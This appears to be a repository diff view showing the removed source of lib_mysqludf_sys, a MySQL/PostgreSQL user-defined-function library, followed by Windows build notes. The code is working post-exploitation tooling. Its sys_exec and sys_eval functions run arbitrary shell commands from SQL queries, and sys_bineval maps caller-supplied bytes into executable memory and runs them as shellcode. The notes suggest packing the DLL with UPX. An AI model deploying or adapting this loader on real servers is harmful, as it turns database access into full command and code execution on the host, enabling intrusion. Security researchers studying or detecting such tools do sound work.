#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* lib_mysqludf_sys_info
|
|
||||||
*/
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
my_bool status;
|
|
||||||
if(args->arg_count!=0){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
|
||||||
);
|
|
||||||
status = 1;
|
|
||||||
} else {
|
|
||||||
status = 0;
|
|
||||||
}
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
strcpy(result,LIBVERSION);
|
|
||||||
*length = strlen(LIBVERSION);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count==1
|
|
||||||
&& args->arg_type[0]==STRING_RESULT){
|
|
||||||
initid->maybe_null = 1;
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char* value = getenv(args->args[0]);
|
|
||||||
if(value == NULL){
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
*length = strlen(value);
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count!=2){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly two arguments"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if(args->arg_type[0]!=STRING_RESULT){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected string type for name parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
args->arg_type[1]=STRING_RESULT;
|
|
||||||
if((initid->ptr=malloc(
|
|
||||||
args->lengths[0]
|
|
||||||
+ 1
|
|
||||||
+ args->lengths[1]
|
|
||||||
+ 1
|
|
||||||
))==NULL){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Could not allocate memory"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
if (initid->ptr!=NULL){
|
|
||||||
free(initid->ptr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char *name = initid->ptr;
|
|
||||||
char *value = name + args->lengths[0] + 1;
|
|
||||||
memcpy(
|
|
||||||
name
|
|
||||||
, args->args[0]
|
|
||||||
, args->lengths[0]
|
|
||||||
);
|
|
||||||
*(name + args->lengths[0]) = '\0';
|
|
||||||
memcpy(
|
|
||||||
value
|
|
||||||
, args->args[1]
|
|
||||||
, args->lengths[1]
|
|
||||||
);
|
|
||||||
*(value + args->lengths[1]) = '\0';
|
|
||||||
return SETENV(name,value);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
return system(args->args[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
unsigned long outlen, linelen;
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(args->args[0], "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (!(*result) || result == NULL) {
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
*length = strlen(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
len = (size_t)strlen(args->args[0]);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, args->args[0], len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
strncpy((char *)addr, args->args[0], len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN64)
|
|
||||||
void __exec_payload(LPVOID);
|
|
||||||
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__exec_payload(lpParameter);
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
|
Binary file not shown.
|
@ -1 +0,0 @@
|
||||||
PostgreSQL < 9.0 does not compile under Windows 64-bit.
|
|
|
@ -1,32 +0,0 @@
|
||||||
Before compiling, certain enviroment variables have to be set,
|
|
||||||
depending on the project used. For project lib_mysqludf_sys variables
|
|
||||||
PLATFORM_SDK_DIR and MYSQL_SERVER_DIR have to be set, while for project
|
|
||||||
lib_postgresqludf_sys variables PLATFORM_SDK_DIR and
|
|
||||||
POSTGRESQL_SERVER_DIR.
|
|
||||||
|
|
||||||
Variables:
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
Variable name Variable description
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
PLATFORM_SDK_DIR Directory where the Platform SDK is installed
|
|
||||||
MYSQL_SERVER_DIR Directory where the MySQL is installed
|
|
||||||
POSTGRESQL_SERVER_DIR Directory where the PostgreSQL is installed
|
|
||||||
|
|
||||||
Procedure for setting environment variables:
|
|
||||||
My Computer -> Properties -> Advanced -> Environment Variables
|
|
||||||
User variables -> New
|
|
||||||
|
|
||||||
Sample values:
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
Variable name Variable value
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
|
|
||||||
MYSQL_SERVER_DIR C:\Program Files\MySQL\MySQL Server 5.1
|
|
||||||
POSTGRESQL_SERVER_DIR C:\Program Files\PostgreSQL\8.4
|
|
||||||
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
|
|
||||||
To get as small shared libraries as possible compile as follows:
|
|
||||||
* MySQL Windows 32-bit DLL: use Visual C++ 2005 and strip the library with UPX
|
|
||||||
* TODO
|
|
Loading…
Reference in New Issue
Block a user